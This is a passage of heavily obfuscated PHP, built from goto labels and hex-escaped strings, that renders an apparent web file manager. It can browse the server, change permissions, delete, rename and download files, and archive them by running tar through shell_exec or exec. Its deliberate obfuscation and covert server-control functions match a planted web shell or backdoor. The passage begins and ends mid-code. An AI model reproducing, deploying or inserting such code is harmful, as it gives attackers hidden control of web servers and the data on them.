twrOt: goto gEsdp; fX_Z5: Wlepk: goto Y2L1j; g6rK0: echo "\x27\51\x2e\x73\x75\142\x6d\x69\x74\50\51\73\40\x72\x65\x74\165\x72\x6e\x20\146\x61\x6c\x73\145\x3b\42\x3e"; goto oVB84; QgQXR: MSjHX: goto oxI6P; X3ons: goto kszo2; goto A4vf9; RY3_w: echo "\x22\x3e\12\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\40\40\x20\x20\x20\74\57\x66\x6f\162\155\76\xa\40\40\40\x20\40\x20\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\40\x20\40"; goto Dp6Ri; BvH3U: dRhKU: goto mV83l; nSbh1: QEVnV: goto SBZ5a; sIerx: x0pqg: goto m5GPT; KESCx: echo date("\x59\x2d\155\55\144\x20\110\x3a\x69", $FLxXK); goto pXChh; rS_7q: goto KfSt_; goto xfyCX; xTEJi: goto qp8VT; goto Ob_Tu; WBbqX: goto tvhAO; goto TpnK0; CVbB_: yOXM6: goto FZvGN; CsC0L: Cg0Jp: goto VVh8u; cDXrL: goto wb16j; goto o1Ckh; F2iqe: YfU8l: goto DvPi0; a1K3b: goto notmz; goto UFd2F; oBCOf: $zX4wK = 0; goto T1TKk; nz7Eq: goto WqAib; goto MzmBt; HgfLF: kc8W5: goto SO6Vl; FHumM: echo "\40\x20\x20\x20\40\40\40\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\74\x69\x6e\x70\x75\164\40\x74\x79\160\x65\75\42\x68\x69\144\x64\145\x6e\x22\40\156\141\x6d\x65\75\42\163\x65\164\137\160\x65\162\155\x73\x22\x20\166\x61\x6c\x75\145\75\x22"; goto U3LXN; w_FYQ: XuXZQ: goto Mb_Ym; aH5SY: echo Dkzcy(); goto m6PKe; Q6b0i: echo htmlentities($qGyu2); goto AMU16; FUKt2: echo htmlentities($qGyu2); goto V8H0Y; A4lBq: XjBNu: goto CfAFx; Xkf3m: goto Hu325; goto GwADa; Nf7pY: iw1f4: goto KESCx; zKg1N: LvLw3: goto hf2f8; cjKoz: KfSt_: goto nyFET; GiCCy: goto kc8W5; goto Bg1Q0; Y1hY_: ER3hr: goto Uf29D; sHLqt: goto y54wE; goto tc2lY; OwAeL: goto sWOBR; goto zKg1N; StlJR: echo htmlentities($qGyu2); goto JEuVE; fzjAQ: goto ndWJP; goto QgQXR; ededX: smiry: goto QOrBu; tzB24: goto g8iSp; goto LiqT3; kzvV0: ndWJP: goto FfmrS; z73VK: e5Tjj: goto gyP2Q; KT07p: $Z7wlJ = @is_writable($o7qMk); goto QLNjz; tP0gn: echo $Z7wlJ ? "\167\162\151\164\141\x62\x6c\x65" : "\x72\x65\x61\x64\157\x6e\x6c\171"; goto u97BQ; L_1lL: goto YfU8l; goto sIerx; WcNUY: goto uR44o; goto ruOLO; q0IEm: echo "\x20\40\40\x20\40\40\40\40\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\x3c\151\x6e\160\x75\x74\40\164\171\x70\145\75\x22\150\x69\144\x64\x65\x6e\x22\40\x6e\141\155\145\75\42\x64\x65\154\x5f\x69\x74\145\155\x22\40\x76\x61\x6c\165\145\75\x22"; goto cP4L_; cyarx: goto iGHfU; goto CVbB_; WON62: Tii8O: goto pSqPK; i1vbX: $ty8nh = $et0TV . DIRECTORY_SEPARATOR . $qGyu2; goto w9Okz; HjekW: goto y4UyD; goto I1HtL; ARO3_: echo htmlentities($qGyu2); goto WeQbG; rqIOa: W8q7f: goto X24KZ; ytAun: echo "\x22\76\xa\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x3c\x2f\164\144\x3e\xa\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x3c\x74\x64\x3e\12\x20\x20\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\x20\74\x64\151\x76\x20\x63\x6c\x61\163\163\x3d\x22\141\x63\164\x69\157\x6e\x73\42\x3e\12\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\40\40"; goto rS_7q; ftMYR: notmz: goto StlJR; deILA: E6ede: goto g6rK0; VYzll: kT5KC: goto gQnDq; iYap3: goto aplhj; goto yEbri; H4yky: FTw6S: goto jIflP; p0eWi: echo $e7SM2; goto hoOXk; xCWa0: goto QNrAD; goto ljxia; sZLHn: $M0kma = @is_dir($ty8nh); goto agPwN; ukvcW: echo "\40\x20\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x3c\x2f\144\x69\166\76\12\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\40"; goto HjekW; JzYBB: goto x0pqg; goto kDCos; cxXBj: echo $M0kma ? "\104\151\x72\145\x63\164\157\162\171" : (TfQZM($qGyu2) ?: "\x46\x69\x6c\x65"); goto btWzA; q8fzb: echo $e7SM2; goto RBHip; Ob_Tu: by6rT: goto nSbh1; LRa14: echo DKzCY(); goto Bcuy3; y8yT2: echo "\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\40\x3c\146\157\162\x6d\x20\155\145\x74\150\x6f\x64\75\x22\160\157\163\x74\42\x20\163\x74\x79\x6c\x65\75\42\155\x61\x72\147\x69\156\x3a\40\x30\x3b\x20\144\151\163\x70\x6c\141\x79\x3a\x20\x66\154\145\x78\x3b\40\x67\141\x70\x3a\x20\70\160\170\73\40\x61\154\151\x67\156\x2d\151\x74\x65\x6d\163\x3a\x20\143\x65\156\x74\145\162\73\42\x3e\xa\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40"; goto rQyG1; JJ5vG: goto uR3zs; goto H4yky; NxMO4: goto FTw6S; goto FTy56; Hru7l: echo "\x27\54\x20\x27\143\165\x72\162\145\156\164\x50\145\162\155\163\137"; goto xCWa0; Kap9g: veg05: goto iI7I8; DvKCo: goto e5Tjj; goto Yn6nz; pSUXp: goto T44K4; goto T48yr; LiqT3: kXARX: goto rMAKA; Uf29D: echo htmlentities($qGyu2); goto RVJ31; QNUQd: pGWK9: goto Oapbz; eVG6w: echo "\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\74\x69\156\x70\165\164\40\164\171\160\x65\x3d\x22\150\x69\144\x64\x65\x6e\42\40\x6e\141\x6d\x65\75\x22\155\x6f\x64\x69\146\x79\42\40\x76\x61\154\165\145\75\x22"; goto NpP4C; kZByy: if (!($qHOUX === $qGyu2)) { goto UM28_; } goto QR_Ud; JEuVE: goto ystEG; goto kp1gY; VGMhu: kszo2: goto UO3EA; O9Zr1: rj58S: goto BgrLY; nOBUc: Ben1P: goto dgUBs; S1jMX: goto Fz_2H; goto QnTos; dXwYk: nF0Zs: goto BxWAa; Ojfyx: echo "\74\57\x64\151\x76\76\12\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20"; goto ZX_02; zIQud: pQZNb: goto F4R3b; mIOzx: PIWvi: goto sucPg; XLXKG: goto iJ8iH; goto cQv51; oVB84: goto x02CD; goto kzvV0; hoOXk: goto E6ede; goto LhB_M; Bg1Q0: zjQrY: goto hRfWU; tjEzf: echo "\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\40\40\40\x20\40\40\x20\x20\x3c\x61\40\x68\162\145\x66\75\42\43\x22\40\143\x6c\x61\x73\163\x3d\x22\146\151\x6c\x65\55\x6e\x61\155\145\42\x20\157\x6e\143\154\151\143\x6b\75\42\144\157\143\165\x6d\x65\x6e\x74\x2e\147\x65\164\x45\154\x65\155\145\156\x74\102\171\111\144\50\x27\166\151\145\167\55"; goto iYap3; azT7c: wihRt: goto N94oB; A2XQh: LrWqj: goto LRCSL; u97BQ: goto lfR0G; goto FHvPD; rQyG1: goto rj58S; goto FlSjv; LhB_M: wb16j: goto aH5SY; t1Z5_: goto D3iqK; goto C9GlA; HhDtM: goto oIBZt; goto Kzxcf; q2_Jb: coH00: goto JksMI; f2Por: jB2oW: goto MKEOW; vLTBg: echo "\x20\40\40\x20\40\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x3c\x69\x6e\x70\x75\164\40\164\171\x70\x65\75\42\x68\151\144\x64\145\x6e\x22\x20\156\x61\x6d\x65\x3d\x22\x67\145\164\137\x66\151\154\x65\42\x20\x76\x61\x6c\x75\145\75\x22"; goto JZxu8; t1uYO: goto GYiar; goto cjKoz; runQ9: echo "\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x3c\151\x6e\x70\165\164\40\x74\x79\x70\145\x3d\x22\x68\x69\144\144\x65\x6e\x22\x20\x6e\141\155\145\x3d\x22\x66\x72\x6f\155\x5f\156\141\x6d\145\x22\x20\x76\x61\154\x75\x65\75\x22"; goto a1K3b; KnA_A: goto kT5KC; goto HFKVV; B_SPJ: z94Gu: goto vAA3D; Gu6Ap: goto N8JHX; goto Q_43Z; jsgWk: sHS_d: goto tjEzf; mQP8f: oIBZt: goto Rxx2R; Kzxcf: diQ_0: goto nOBUc; m5GPT: $pm3to = $M0kma ? "\x66\157\154\x64\x65\x72" : "\x66\x69\154\145"; goto X4qPG; lemKZ: XWaKg: goto Z2Z_d; cCALu: POPOp: goto GFbMB; gxZ2_: goto Eyai1; goto deILA; p7Cpw: ZiYjc: goto m2EqV; Yn6nz: iJ8iH: goto bgSVE; vAA3D: echo "\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x3c\x66\157\x72\155\x20\x6d\145\x74\150\x6f\x64\x3d\x22\160\x6f\163\164\42\40\x73\164\171\x6c\145\75\x22\144\151\x73\x70\x6c\141\171\72\40\x69\156\154\x69\156\145\73\42\76\xa\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\40\40\x20\40\40\x20\40\40\x20\x20\x20\40"; goto j9O9s; tofS6: echo "\42\x3e"; goto JJ5vG; gRUOF: goto aVOqQ; goto F2iqe; pSqPK: $e7SM2 = md5($qGyu2); goto efwO2; Co_qS: echo DkZCy(); goto IXuWa; hGgHo: $izf43 = "\x3f\77\x3f\x3f"; goto QimLN; Cq6_Z: goto GBs9V; goto Oxc0m; ba1yP: echo "\42\x20\166\141\154\165\145\x3d\42"; goto KxztH; j63oy: if (!$M0kma) { goto NcarW; } goto sHLqt; XJEQE: QNrAD: goto xU75d; L1M9Q: goto hrmRj; goto sPAUd; TLeY1: goto MSjHX; goto ftMYR; nU7fg: DWUkW: goto z4pP4; a3xt5: goto wihRt; goto IFyJH; BxWAa: if (!($ca5LZ === $qGyu2)) { goto kXARX; } goto tzB24; A6E1x: echo "\42\76\12\40\x20\40\40\40\40\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\x3c\x62\x75\164\164\x6f\x6e\x20\164\x79\160\x65\75\42\163\165\x62\x6d\151\164\42\x20\143\154\x61\163\163\x3d\x22\x62\164\x6e\x20\x62\x74\x6e\x2d\x67\150\x6f\163\164\40\x62\x74\156\55\163\x6d\42\76\x52\x65\156\x61\155\145\74\57\142\165\x74\x74\x6f\x6e\x3e\xa\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\74\x2f\x66\x6f\x72\x6d\x3e\12\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\40\x20\40\40\40\40\x3c\142\165\x74\164\157\x6e\40\x74\171\x70\x65\75\x22\142\x75\x74\164\157\156\42\40\143\154\141\163\x73\75\42\142\x74\x6e\40\142\x74\156\55\x67\150\x6f\163\164\x20\142\x74\156\55\163\x6d\42\x20\157\x6e\143\154\151\x63\153\75\x22\157\x70\x65\x6e\103\x68\x6d\157\x64\x4d\157\144\141\x6c\x28\47"; goto VJfjp; HvyOD: goto kV0QK; goto C531O; wmn2w: echo "\x22\76"; goto PN0ct; y67AB: yYD_6: goto Q6b0i; tc2lY: NcarW: goto zkMTY; uzJKu: echo DkzCy(); goto J_pfX; dgUBs: goto by6rT; goto j3jl1; nyFET: if (!$M0kma) { goto yOXM6; } goto cyarx; Y1cIF: goto pGWK9; goto ededX; xfyCX: UngnB: goto Dto7W; ta0EY: echo htmlentities($qGyu2); goto MXHtc; Co3JX: goto W8q7f; goto OwAeL; ehzGT: bWaTT: goto EtPNK; BQWWJ: echo "\47\x29\56\x73\165\142\x6d\151\x74\50\51\x3b\x20\162\x65\164\165\162\156\40\146\141\x6c\163\145\x3b\x22\76"; goto uzauA; qnJtX: goto AWce5; goto FmjNX; y7LvH: echo $e7SM2; goto H9dEy; uYsmI: aVOqQ: goto i1vbX; arlbs: goto crOYn; goto fJTf2; gyP2Q: echo "\x20\x20\x20\40\40\40\40\40\40\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\40\x20\40\x20\40\x20\x20\40\40\74\x61\x20\150\162\145\x66\75\x22\43\x22\x20\x63\154\141\163\163\x3d\x22\146\x69\154\x65\x2d\156\x61\x6d\145\42\40\157\156\143\x6c\151\x63\x6b\75\42\144\157\x63\x75\x6d\145\156\x74\56\147\x65\164\105\x6c\x65\155\145\x6e\164\102\171\111\x64\50\x27\156\141\166\55"; goto qftMs; D4Duz: AWce5: goto sZLHn; Hn3F_: FprWl: goto eVG6w; I1HtL: GBs9V: goto SeYvs; d1UTw: echo htmlentities($qGyu2); goto kADr4; WeQbG: goto xgqqO; goto azT7c; NcQsW: goto q8B7r; goto xzHup; N94oB: echo htmlentities($qGyu2); goto X3ons; kp1gY: IGI3m: goto K2o7l; C9GlA: T44K4: goto CyBuN; uzauA: goto IGI3m; goto yWprz; XC2lq: SvtOZ: goto kBafz; ruOLO: lfR0G: goto wmn2w; sucPg: echo htmlentities($ty8nh); goto WBbqX; E56VG: echo "\x20\40\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\x20\x3c\144\x69\x76\40\x63\x6c\141\x73\163\75\42\x66\151\x6c\145\x2d\156\141\x6d\x65\55\x63\x65\x6c\154\42\76\12\40\40\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\74\x64\151\x76\x20\x63\154\141\x73\163\75\x22\x66\151\154\145\55\x69\143\157\x6e\x20"; goto KscZw; Q0XWs: goto jB2oW; goto bl3kQ; JhpT9: goto KfiTe; goto O9Zr1; VDp_F: goto dWFOZ; goto HgfLF; PdLM9: goto YwFiu; goto mHdok; HRaGW: goto WYHo1; goto SGn_O; PN0ct: goto TCcY1; goto eZl32; PfjAa: echo $e7SM2; goto XLXKG; Ey2N7: goto SvtOZ; goto q7ldq; Ygc5R: echo "\74\x2f\141\x3e\12\x20\40\x20\40\40\x20\40\40\40\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x3c\146\157\x72\155\x20\x69\144\75\42\156\141\166\55"; goto NcQsW; FmjNX: WYHo1: goto SeuVH; KscZw: goto IdanT; goto p7Cpw; RVJ31: goto ZiYjc; goto fX_Z5; j9O9s: goto ViZWe; goto XJEQE; T48yr: hE1kZ: goto Co_qS; tFb10: goto UyhMc; goto A2XQh; ovdNT: echo htmlentities($qGyu2); goto dZtro; SBZ5a: } goto Xk6hR; Q0DQU: Va8Ej: goto cKJwn; F2dcz: goto M1cz5; goto W2QWS; aevK7: tzJy9: goto faMDK; hGvk2: xg35o: goto e98wb; aEzGI: goto PyOJ1; goto iEMCn; iQZ04: vzEsE: goto Q1ywd; upOMq: G6X4B: goto oFZ3s; haEp_: goto Wn4Oc; goto KJwWu; eMCaZ: goto ejG5h; goto JnbCO; Tsrsu: cm0G5: goto sVZcC; oQycr: $Ha841 = "\103\162\145\x61\164\x65\x20\x66\x61\x69\x6c\145\144\x3a\x20\x44\x69\162\x65\x63\x74\x6f\162\x79\x20\156\157\x74\x20\167\162\x69\164\141\142\154\145"; goto zQVCP; ilLQx: $_SESSION["\x63\165\x72\162\145\x6e\x74\137\144\x69\162"] = $FcgCm; goto D55w0; pprQQ: dujYT: goto z_VfY; UWZh2: goto aDvAO; goto FPmFB; DT33g: i56N0: goto vK_lD; df1k_: H_7_G: goto ftX16; nd0nt: goto xoTg1; goto yVnue; rD9Tp: k3dgA: goto GT7wM; WCZCu: goto nAQ75; goto JKIjL; YSbLd: RNMAa: goto ki2vI; IVjSc: jzLBG: goto tt1lU; HstTh: goto Yu7_8; goto kVk6u; laPsO: UOVSv: goto Jp25Y; by2sI: uOdj2: goto A5PQ7; RiFzY: $Ha841 = "\x43\x72\x65\141\164\145\x20\146\141\151\x6c\145\x64\72\x20\x49\x6e\166\141\x6c\151\x64\40\x66\151\x6c\145\156\141\x6d\145"; goto xDCXo; E7gL_: goto k3dgA; goto eLC1a; BuQ73: wRikY: goto Vocdm; Roy8u: P0f1E: goto kP0JN; IFdUu: chcrQ: goto Ce2vF; IR3c4: goto i56N0; goto bXzuP; P8dqz: if (@is_dir($H_eTv)) { goto yx1bB; } goto n3zof; zBYX7: goto mVXJj; goto Ac6dR; qZDfD: goto tPuED; goto i9Wq5; qH7A8: goto So03e; goto xzCyR; H1Y6Q: htZkU: goto TL2Fy; LJJZi: hG8oZ: goto QhHt2; e98wb: vW1vE: goto S5CiS; NgxzR: Z63_D: goto RD0pJ; EFI0H: goto x3WI8; goto nguMN; Nodtk: goto UOVSv; goto lTDTW; Pj2m0: if ($fHI6p === false) { goto poX12; } goto fk2En; y5n14: y3XEW: goto cMJXq; N0KSU: o9k4v: goto SHe67; ViAti: if (@is_dir($X_CY3) && @is_writable($X_CY3)) { goto zyB6u; } goto qai03; n8mc3: function YC2Fb($RFQij, $XyGri, $P_W2l) { goto IWZb2; KW5M0: goto rdOeg; goto HFNwp; RDmQ2: P_fc6: goto ur5nl; A_4ud: goto tpwWk; goto fgcHf; wUJ6V: goto IabkK; goto W0CQL; DRVSa: goto V5CGr; goto H5fwv; AH6DX: goto NnNoX; goto UQbLy; ey7an: $PxoTR = ''; goto n4R3U; KSxrg: goto zycvZ; goto frWDt; FO1xo: FBbX1: goto rjDoB; Yhk3Y: EaIGT: goto KW5M0; NIqnp: goto IiaxY; goto N52xs; nxUoN: goto aww2P; goto Yhk3Y; ei49s: goto tZ3m4; goto RDmQ2; LOjWS: @exec($uZY_B); goto wVQG8; pkh0h: R81AM: goto ix4Xq; jMgD7: zadWE: goto GgxFY; r24rg: foreach ($RFQij as $H87kD) { goto Dawjm; E_4KT: goto VD7ev; goto zBLn3; RdQRH: pv2YR: goto lnTzp; AwBhG: uhmT0: goto zMGWm; DnGS8: goto GIGpw; goto O07un; sipDZ: VD7ev: goto ea07m; MEWin: GdkHB: goto Jpzw4; IIUkE: $PxoTR .= "\x20" . escapeshellarg(basename($H87kD)); goto DpfFl; Dawjm: goto uhmT0; goto sUzaH; DpfFl: goto ygOO4; goto gLVeS; sUzaH: ygOO4: goto MEWin; Jpzw4: goto cmsHb; goto zlyTY; zlyTY: Dq3FR: goto sipDZ; ea07m: goto FU1li; goto AwBhG; gLVeS: GIGpw: goto bPyDD; zMGWm: if (!$H87kD) { goto Y8ZZB; } goto E_4KT; O07un: FU1li: goto IIUkE; s2RuH: goto Dq3FR; goto TlNa6; zBLn3: Y8ZZB: goto DnGS8; bPyDD: goto GdkHB; goto s2RuH; TlNa6: cmsHb: goto RdQRH; lnTzp: } goto nQamV; frWDt: lvrw0: goto yeoQI; mSly7: tpwWk: goto mCoGg; O21C1: goto KPX9Q; goto TxzGw; lfAMU: $AnxuW = $FvUV4 . DIRECTORY_SEPARATOR . $Pce6T; goto bek48; nQamV: tmy7D: goto E8War; aun_U: y4Umt: goto SXZZ_; y2ggL: goto e1YYo; goto mSly7; I_Zrj: KFIFe: goto nVHkY; XDMGg: TC1sN: goto WI4XC; mrvv3: NnNoX: goto UNAXp; McRr3: goto AlgB9; goto BUbCl; uVmGi: IiaxY: goto Vru_c; v3VEX: rdOeg: goto QgaQf; b2I84: goto dVc8q; goto WDbrM; yeoQI: $FvUV4 = sys_get_temp_dir(); goto ei49s; tenvU: Zh1OS: goto r24rg; RdgEV: zycvZ: goto ICCLy; uyRoB: NyRPW: goto ITKps; t72ou: goto IaGIF; goto I_Zrj; Z6M7d: goto WP6RV; goto vIVUU; mQHVc: Q40rq: goto b_Sxi; ZVV1t: goto KxXhi; goto RdgEV; H5fwv: KxXhi: goto uVmGi; AsewM: goto pC6au; goto w6AjG; oBoG6: pC6au: goto JPt4b; WI4XC: return false; goto t72ou; llepV: goto y4Umt; goto DGynM; UNAXp: if (!vWTVB("\x73\x68\x65\154\x6c\137\x65\170\x65\x63")) { goto lPDEh; } goto NIqnp; p_Gj3: goto TC1sN; goto jMgD7; aZVVX: foreach ($RFQij as $H87kD) { goto kPMY2; n3pdB: goto q9nVW; goto J7ZEL; rjvZq: goto S1Zmh; goto nj75H; kPMY2: goto Yfuw3; goto WE7FQ; YcQFB: if (!@is_dir($H87kD)) { goto BYclq; } goto dWf5H; jvKBd: oBjti: goto COrit; b9uzz: GNbzq: goto MNytK; dWf5H: goto UsbEE; goto odsk_; IQi4e: goto yP2OX; goto RI1hV; lXOp9: UsbEE: goto bDwTw; pc2K1: goto RMiT9; goto KPCCe; RI1hV: YwA6L: goto qh5ve; ZX9Mn: $el09a = basename($H87kD); goto efzjQ; zz6bJ: goto JiR6t; goto hjw3C; svZgF: if (!$H87kD) { goto nenFc; } goto zz6bJ; GqqSi: Xx_qD($H87kD, $S4wCu); goto sA2pv; suPQr: lFftF: goto zDAUI; nj75H: goto oBjti; goto HUoZl; FgNOG: goto ZkTXG; goto ULwmU; hjw3C: nenFc: goto sbZ5_; COrit: RXPhz: goto n3pdB; ROdYe: yddYn: goto YcQFB; ZOR_1: CL_hV: goto pc2K1; LbAQ7: gelaM: goto FgNOG; bDwTw: goto flgOa; goto MTcz4; e6O07: ZkTXG: goto shQDk; CXKF0: goto pE11W; goto LbAQ7; Ak1h7: if (!@is_file($H87kD)) { goto GNbzq; } goto CZnNJ; rvwUA: pE11W: goto rjvZq; pWBj3: S1Zmh: goto IQi4e; shQDk: goto y_KNv; goto KpWuo; qF7ab: JiR6t: goto OMVQq; MNytK: goto yddYn; goto t3Qay; JZ0ZJ: goto YwA6L; goto PQpi1; BOl04: NjUq0: goto lXOp9; qh5ve: goto S1Zmh; goto cbX2q; zDAUI: foreach ($S4wCu as $iQpCf) { goto PB0RH; ecoEa: goto DPKim; goto znDUR; jrhuT: oJKMS: goto Qns1o; OGzap: wHpjz: goto rbQ17; nx9t_: mQjN4: goto zBLOu; XtZ81: goto oJKMS; goto QR4KW; yAxlh: yfEh4: goto XtZ81; CLmFB: QhyxR: goto fAbCI; znDUR: BSFSP: goto CLmFB; fAbCI: goto wHpjz; goto Z1wVN; gD3D1: tPUyX: goto jrhuT; zt8ox: yf08Z: goto nx9t_; zBLOu: goto v14Rz; goto OGzap; xxIAe: DPKim: goto DWWnm; wdzEw: U_5eO: goto ecoEa; rbQ17: $h14Cg->addEmptyDir($el09a . "\57" . $iQpCf["\162\145\154"]); goto SN0FV; QR4KW: goto BSFSP; goto xxIAe; DWWnm: $h14Cg->addFile($iQpCf["\160\141\164\150"], $el09a . "\x2f" . $iQpCf["\x72\x65\x6c"]); goto wppSh; Z1wVN: v14Rz: goto bOneQ; Qns1o: goto yf08Z; goto yAxlh; wppSh: goto yfEh4; goto CSnU5; PB0RH: goto DSaSC; goto zt8ox; FUMu5: if (!($iQpCf["\x74\x79\160\x65"] === "\144\x69\x72")) { goto U_5eO; } goto Pn1O0; bOneQ: PgeOw: goto pBGoL; CSnU5: DSaSC: goto FUMu5; Pn1O0: goto QhyxR; goto wdzEw; SN0FV: goto tPUyX; goto gD3D1; pBGoL: } goto ZOR_1; An0Tv: tEfvv: goto qF7ab; i4eR0: T6bls: goto Ak1h7; bDMG0: $S4wCu = array(); goto k5NJj; GOIZ3: N5B76: goto Wjnf9; t3Qay: RtTjF: goto pWBj3; pyl8y: $h14Cg->addFile($H87kD, basename($H87kD)); goto JZ0ZJ; efzjQ: goto trjQg; goto BOl04; BhW2L: q9nVW: goto pyl8y; HUoZl: yP2OX: goto e6O07; MTcz4: TGQe6: goto JLunv; KpWuo: N7sjO: goto GqqSi; CZnNJ: goto RXPhz; goto b9uzz; PQpi1: y_KNv: goto GOIZ3; OMVQq: goto T6bls; goto jvKBd; odsk_: BYclq: goto CXKF0; sbZ5_: goto gelaM; goto ROdYe; WE7FQ: RMiT9: goto k7Suc; OjA8N: trjQg: goto bDMG0; sA2pv: goto TGQe6; goto OjA8N; k7Suc: Cd6ey: goto Hbn4k; KPCCe: Yfuw3: goto svZgF; cbX2q: goto NjUq0; goto suPQr; Hbn4k: goto RtTjF; goto rvwUA; ULwmU: goto tEfvv; goto An0Tv; JLunv: $h14Cg->addEmptyDir($el09a); goto q7VFH; q7VFH: goto lFftF; goto BhW2L; J7ZEL: flgOa: goto ZX9Mn; k5NJj: goto N7sjO; goto i4eR0; Wjnf9: } goto B7Sdd; W0CQL: IaGIF: goto B67NO; ur5nl: goto CMsRN; goto ZVV1t; UQbLy: AlgB9: goto MTnOP; IWZb2: goto lvrw0; goto pkh0h; BUbCl: e1YYo: goto oJsSj; XyoQs: goto f5d8h; goto uyRoB; JPt4b: goto KFIFe; goto gKM03; VcPQO: CMsRN: goto y2ggL; N52xs: lPDEh: goto XyoQs; Y4Ucv: tZ3m4: goto VNwUV; QKysE: goto R81AM; goto vkLCg; B7Sdd: bx0v8: goto dBfnR; w6AjG: m0qdT: goto cjGCp; ZI5I8: g8R2I: goto GeG3P; wVQG8: goto P_fc6; goto E8wSY; ICCLy: $BUdBl = $FvUV4 . DIRECTORY_SEPARATOR . $PaK4X; goto A_4ud; TxzGw: dVc8q: goto VcPQO; vusu2: qFewd: goto OdBh5; MTnOP: if (VWtVb("\163\150\145\154\x6c\x5f\x65\170\145\143") || vwTvb("\x65\x78\x65\143")) { goto m0qdT; } goto AsewM; DGynM: jCOL8: goto q9hgR; oJsSj: if (@is_file($AnxuW) && @filesize($AnxuW) > 0) { goto EaIGT; } goto nxUoN; q7xWs: afnnN: goto QKysE; vIVUU: f5d8h: goto LOjWS; GeG3P: $Pce6T = $P_W2l . "\x5f" . time() . "\x2e\164\141\x72\56\x67\x7a"; goto wUJ6V; XVT1a: WhV07: goto Z6M7d; NQIeG: goto pOvjE; goto q7xWs; cjGCp: goto g8R2I; goto i6H7o; E8wSY: V_YBE: goto el541; Chldd: goto zadWE; goto XDMGg; kBO26: goto qFewd; goto FO1xo; bek48: goto MA0aV; goto ZI5I8; E8War: goto DLxv3; goto mrvv3; q9hgR: IgvbN: goto Chldd; WDbrM: DLxv3: goto XVT1a; GgxFY: $h14Cg->close(); goto kot6I; n4R3U: goto Zh1OS; goto Y4Ucv; Vru_c: goto Q40rq; goto mQHVc; QgaQf: return array($AnxuW, $Pce6T, "\141\x70\160\154\x69\x63\141\x74\151\157\x6e\57\147\x7a\151\160"); goto hTlxG; dBfnR: goto jCOL8; goto aun_U; rjDoB: cSvg1: goto p_Gj3; dLoCK: goto FBbX1; goto v3VEX; hTlxG: goto NyRPW; goto tenvU; i6H7o: V5CGr: goto aZVVX; gKM03: MA0aV: goto ey7an; el541: return array($BUdBl, $PaK4X, "\x61\160\160\154\x69\143\141\x74\151\x6f\x6e\x2f\172\x69\160"); goto dLoCK; ITKps: aww2P: goto O21C1; kot6I: goto V_YBE; goto vusu2; HFNwp: WP6RV: goto mV2s2; ix4Xq: $PaK4X = $P_W2l . "\x5f" . time() . "\x2e\172\151\160"; goto KSxrg; OZYQf: goto cSvg1; goto FMQNu; mCoGg: $h14Cg = new ZipArchive(); goto llepV; nVHkY: return false; goto kBO26; b_Sxi: @shell_exec($uZY_B); goto b2I84; fgcHf: KPX9Q: goto oBoG6; mV2s2: $uZY_B = "\x63\144\x20" . escapeshellarg($XyGri) . "\40\46\x26\40\x74\141\162\40\55\143\172\146\40" . escapeshellarg($AnxuW) . $PxoTR . "\x20\x32\x3e\x26\61"; goto AH6DX; FMQNu: uJpq2: goto DRVSa; B67NO: pOvjE: goto McRr3; VNwUV: if (class_exists("\x5a\151\x70\x41\x72\143\x68\151\x76\145")) { goto afnnN; } goto NQIeG; vkLCg: IabkK: goto lfAMU; SXZZ_: if ($h14Cg->open($BUdBl, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { goto uJpq2; } goto OZYQf; OdBh5: } goto guSjI; RwD1u: P_zmF: goto sSO9N; T6EJl: goto Ss6G_; goto CGpNM; DsTtE: PQrE3: goto H3x1l; dYCC6: MpE0k: goto pnJAr; kCT42: goto lTDaM; goto cTALv; pW8L2: tOjlu: goto aL00D; QbjJs: KLZRD: goto tZH0B; a7LU3: goto QSzmO; goto FTQ8O; kZkbk: @unlink($GId_d); goto Dxkbi; X6Cvx: goto iWiNT; goto H1Y6Q; r7XmN: goto dujYT; goto xehQ9; q5fVu: $krS6l = @fopen($QGkWO, "\167\142"); goto idOBi; Kch0r: 